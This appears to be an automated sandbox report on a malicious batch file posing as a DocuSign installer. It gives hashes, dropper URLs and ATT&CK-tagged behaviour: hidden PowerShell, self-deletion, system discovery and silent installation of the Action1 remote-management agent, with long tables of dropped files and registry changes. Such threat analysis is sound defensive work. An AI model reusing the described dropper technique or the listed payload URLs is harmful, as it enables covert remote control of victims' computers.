e6bc8521ad2466dce566aefc1b28be22af5f80dfb6413ad56c89222e51bef111

Analysis

max time kernel
74s
max time network
144s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
02/10/2026, 08:27

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
DocuSign_Installer.bat
Size 3KB
Sample261002-kctf2sdh67
SHA256 e6bc8521ad2466dce566aefc1b28be22af5f80dfb6413ad56c89222e51bef111
MD5 ad96345edff9d6cb55507e7ad3d08c2e
SHA1 174822d4bc8e46786cf4d8888f0dc03537d7c60a
SHA512 e0e4525bd7d678a8383558a5e21c91132cf73f059ca65ce18f10e7017284e705addb0ddc11de1af4c1dd793f94f4ad2aa1aa4166acec7ca1de8d70172f48b01e
TLSH
T10F51C90F201078270BB69312CA6E42CDEE6F91436614BAC470F2901DE61B9A576BF6DB
MD5 SHA1 SHA512 TLSH

Score

10^/10

defense_evasion discovery execution

Malware Config

Extracted

Language

Source

URLs

exe.dropper
https://update.microsoft.com

Extracted

Language

Source

URLs

exe.dropper
https://us-cdn.action1.com/builtin/00000000-0000-0000-0000-000000000000_0000000000000_builtin/file.dat
exe.dropper
https://eu-cdn.action1.com/builtin/00000000-0000-0000-0000-000000000000_0000000000000_builtin/file.dat
exe.dropper
https://au-cdn.action1.com/builtin/00000000-0000-0000-0000-000000000000_0000000000000_builtin/file.dat
exe.dropper
https://ifconfig.me/ip

Signatures

Badlisted process makes network request 5 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
15	4668	powershell.exe
16	4668	powershell.exe
17	4668	powershell.exe
21	5080	powershell.exe
22	5080	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 42 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1828	powershell.exe
1536	powershell.exe
6116	powershell.exe
1608	powershell.exe
4572	powershell.exe
3960	powershell.exe
2060	powershell.exe
2160	powershell.exe
4116	powershell.exe
844	powershell.exe
4108	powershell.exe
5356	powershell.exe
3164	powershell.exe
3956	powershell.exe
5380	powershell.exe
2580	powershell.exe
1664	powershell.exe
360	powershell.exe
1352	powershell.exe
4396	powershell.exe
1820	powershell.exe
2408	powershell.exe
5080	powershell.exe
1816	powershell.exe
1808	powershell.exe
2296	powershell.exe
2312	powershell.exe
5364	powershell.exe
5056	powershell.exe
2692	powershell.exe
5852	powershell.exe
3712	powershell.exe
5732	powershell.exe
2168	powershell.exe
4116	powershell.exe
4668	powershell.exe
1900	powershell.exe
2464	powershell.exe
2544	powershell.exe
5704	powershell.exe
3332	powershell.exe
5172	powershell.exe

Deletes itself 1 TTPs 1 IoCs

defense_evasion

File Deletion

T1070.004

pid	Process
1828	powershell.exe

Executes dropped EXE 4 IoCs

pid	Process
4660	action1_agent.exe
892	action1_agent.exe
2384	action1_agent.exe
5164	action1_agent.exe

Loads dropped DLL 4 IoCs

pid	Process
1096	MsiExec.exe
1096	MsiExec.exe
1096	MsiExec.exe
5256	MsiExec.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Enumerates connected drives 3 TTPs 51 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
	\??\F:\	msiexec.exe
	\??\F:\	powershell.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
	\??\F:\	powershell.exe
File opened (read-only)	\??\S:	msiexec.exe

Looks up external IP address via web service 1 TTPs 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	ifconfig.me
22	ifconfig.me

Drops file in System32 directory 29 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Action1\7971f918-a847-4430-9279-4a52d1efe18d	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Action1\7971f918-a847-4430-9279-4a52d1efe18d	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Action1\7971f918-a847-4430-9279-4a52d1efe18d	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\Action1\scripts\Connections to Internet Domains_2040-1787748201.ps1	action1_agent.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_0owmsgma.ing.psm1	powershell.exe
File created	C:\Windows\Action1\rules.json	action1_agent.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_o1ahptqd.ng0.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_llm43fgl.o55.ps1	powershell.exe
File created	C:\Windows\Action1\scripts\Action1 Agent Configuration_2066-1787748201.ps1	action1_agent.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_5oqqmc1v.2tb.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_sruedx5r.y33.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_vgkeboxz.vsj.psm1	powershell.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI1A29.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_ajbcf1mg.4mi.ps1	powershell.exe
File created	C:\Windows\Action1\previousUser.txt	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_lylmritt.fbp.psm1	powershell.exe
File created	C:\Windows\Action1\scripts\Running Processes_2030-1787748201.ps1	action1_agent.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_oc1mvm0c.yls.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_cjyvuq0p.oca.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_xopkbjtu.rax.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_55edju0k.1an.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_r1fy4opy.u5o.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_15y5b3ga.vfb.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_lgvxqla4.wsg.ps1	powershell.exe
File opened for modification	C:\Windows\Installer\e591311.msi	msiexec.exe
File created	C:\Windows\Action1\scripts\DataSource_1008.ps1	action1_agent.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\Action1\logs\action1_log_2026-10-02_09-29-03~4660.log	action1_agent.exe
File created	C:\Windows\Action1\scripts\Windows Services_2033-1787748201.ps1	action1_agent.exe
File created	C:\Windows\Action1\action1_remote.exe	msiexec.exe
File opened for modification	C:\Windows\Installer\{E6D8B066-2E74-458F-9111-24857C1C627A}\ProductIcon	msiexec.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_jxb1u1rx.zm0.psm1	powershell.exe
File opened for modification	C:\Windows\SystemTemp\TmpF525.tmp	powershell.exe
File created	C:\Windows\Action1\scripts\Windows Update History_2044-1787748201.ps1	action1_agent.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_w4nidkhf.5ip.psm1	powershell.exe
File created	C:\Windows\SystemTemp\~DFBAF09263E9F42C69.TMP	msiexec.exe
File created	C:\Windows\Action1\agent_downgrade.version_pair.tmp	action1_agent.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_5dtdcvxz.rap.psm1	powershell.exe
File created	C:\Windows\SystemTemp\~DF2D24FC3AA701384A.TMP	msiexec.exe
File created	C:\Windows\Action1\scripts\Boot Configurations_2019-1787748201.ps1	action1_agent.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_l20jpssz.lj0.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_znc2bhcq.n0p.psm1	powershell.exe
File created	C:\Windows\Installer\{E6D8B066-2E74-458F-9111-24857C1C627A}\ProductIcon	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI17A7.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI18E0.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_jelsoo3g.5hy.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_3bzatsrj.dxs.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_w0lug1hr.rrl.psm1	powershell.exe
File created	C:\Windows\Action1\rule_data\1008.suppress	action1_agent.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_zwu532q3.nhg.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_t4hvndiw.pwq.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_msyujeps.p0p.psm1	powershell.exe
File created	C:\Windows\Action1\scripts\Windows Update Statistics_2039-1787748201.ps1	action1_agent.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_3y1il2hl.whe.ps1	powershell.exe
File created	C:\Windows\Installer\wix{E6D8B066-2E74-458F-9111-24857C1C627A}.SchedServiceConfig.rmi	MsiExec.exe
File created	C:\Windows\Action1\datasource_data\1000.poll.tmp	action1_agent.exe
File opened for modification	C:\Windows\Installer\MSI1748.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI1AE6.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_czopapox.qzf.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_zclhejkr.qc4.psm1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_0o3hpc31.tmo.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_z3ojgfdl.x4c.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_u2ariilc.5jx.psm1	powershell.exe
File created	C:\Windows\Action1\scripts\Environment Variables_2020-1787748201.ps1	action1_agent.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_o5i5ggxr.gjw.ps1	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3304	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	action1_agent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	action1_agent.exe

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	action1_agent.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	action1_agent.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	action1_agent.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	action1_agent.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe

Modifies registry class 21 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\Language = "1033"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\InstanceType = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\SourceList	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\660B8D6E47E2F85419114258C7C126A7	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\Assignment = "1"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\SourceList\PackageName = "pkg.msi"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\AdvertiseFlags = "388"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\ProductIcon = "C:\\Windows\\Installer\\{E6D8B066-2E74-458F-9111-24857C1C627A}\\ProductIcon"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\AuthorizedLUAApp = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\3187685C39AD9D04484F43F57B7D8C2B	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\PackageCode = "919D3E7E9C8C211418ADC39A1BD1B1BF"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\Version = "100663960"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\DeploymentFlags = "3"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\3187685C39AD9D04484F43F57B7D8C2B\660B8D6E47E2F85419114258C7C126A7	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\SourceList\Net	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\Clients = 3a0000000000	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\660B8D6E47E2F85419114258C7C126A7\A1_Agent	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\660B8D6E47E2F85419114258C7C126A7\ProductName = "Action1 Agent"	msiexec.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5012	msiexec.exe
5012	msiexec.exe
4116	powershell.exe
4116	powershell.exe
4116	powershell.exe
1828	powershell.exe
1828	powershell.exe
2544	powershell.exe
2544	powershell.exe
2544	powershell.exe
2060	powershell.exe
2060	powershell.exe
2060	powershell.exe
2060	powershell.exe
2060	powershell.exe
2060	powershell.exe
2312	powershell.exe
2312	powershell.exe
2312	powershell.exe
1608	powershell.exe
1608	powershell.exe
1608	powershell.exe
1608	powershell.exe
1608	powershell.exe
1608	powershell.exe
844	powershell.exe
844	powershell.exe
844	powershell.exe
1820	powershell.exe
1820	powershell.exe
1820	powershell.exe
2168	powershell.exe
2168	powershell.exe
2168	powershell.exe
5364	powershell.exe
5364	powershell.exe
5364	powershell.exe
5364	powershell.exe
5364	powershell.exe
5364	powershell.exe
5056	powershell.exe
5056	powershell.exe
5056	powershell.exe
4108	powershell.exe
4108	powershell.exe
4108	powershell.exe
5356	powershell.exe
5356	powershell.exe
5356	powershell.exe
4116	powershell.exe
4116	powershell.exe
4116	powershell.exe
5704	powershell.exe
5704	powershell.exe
5704	powershell.exe
4572	powershell.exe
4572	powershell.exe
4572	powershell.exe
3164	powershell.exe
3164	powershell.exe
3164	powershell.exe
4668	powershell.exe
4668	powershell.exe
4668	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4228	msiexec.exe
